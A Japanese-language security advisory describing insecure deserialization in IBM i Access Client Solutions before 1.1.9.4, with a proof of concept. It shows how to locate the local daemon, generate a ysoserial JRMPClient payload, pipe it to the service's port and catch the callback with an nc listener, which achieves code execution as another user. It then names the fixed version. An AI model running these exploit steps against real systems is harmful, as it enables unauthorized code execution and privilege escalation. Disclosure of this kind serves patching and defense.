
IBM i Access Client Solutions < 1.1.9.4 - 安全でないデシリアライゼーションによるリモートコード実行
IBM i Access Client Solutions < 1.1.9.4 - 安全でないデシリアライゼーションによるリモートコード実行。
IBM i Access Client Solutions は、パスワードの保存とパスワード暗号化の復号キー取得に安全でないデシリアライゼーションを使用しています。これは、ローカルまたはリモートの攻撃者によってコード実行に利用される可能性があります。
`netstat' コマンドを使用すると、ローカルサーバーを簡単に見つけることができます:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ netstat -nltp | grep java
tcp6 0 0 :::34307 :::* LISTEN 3225094/java off (0.00/0/0)
ps コマンドを使用すると、このローカルサーバーの詳細を確認できます:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ ps aux | grep java
mmajchr+ 3224938 6.8 0.9 13305316 301392 pts/6 Sl+ 12:30 0:17 java -jar ./acsbundle_1.9.new.jar
mmajchr+ 3225094 0.3 0.2 11512420 79692 pts/6 Sl+ 12:30 0:00 /usr/lib/jvm/java-17-openjdk-amd64/bin/java -Djava.class.path=/tmp/ACS.lm13910263510749358977.jar -Dvisualvm.display.name=ACS Daemon -Dcom.ibm.tools.attach.displayName=ACS Daemon com.ibm.iaccess.base.LmHybridServerImpl
mkubiak 3238934 0.0 0.0 6464 1992 pts/12 R+ 12:44 0:00 grep --color=auto java
mkubiak アカウントから ysoserial ペイロードを使用して、ユーザー mmajchrowicz としてコード実行を達成できます:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ id
uid=1012(mkubiak) gid=1012(mkubiak) groups=1012(mkubiak),27(sudo)
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ java -jar ysoserial.jar JRMPClient '127.0.0.1:9191' > jrmp.bin
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ (sleep 3; cat jrmp.bin) | nat -6 ::1 34307
2番目のターミナルでは、サービスがペイロードを実行した後に接続を受け取ります:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ nc -lvnp 9191
listening on [any] 9191 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 38012
JRMIK
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$
この問題は、ネットワークパケットとユーザーデータの安全でないデシリアライゼーションによって引き起こされました。この問題は IBM i Access Client Solutions 1.1.9.4 で修正されています。
< 1.1.9.4
IBM i Access Client Solutions を 1.1.9.4 以降に更新してください。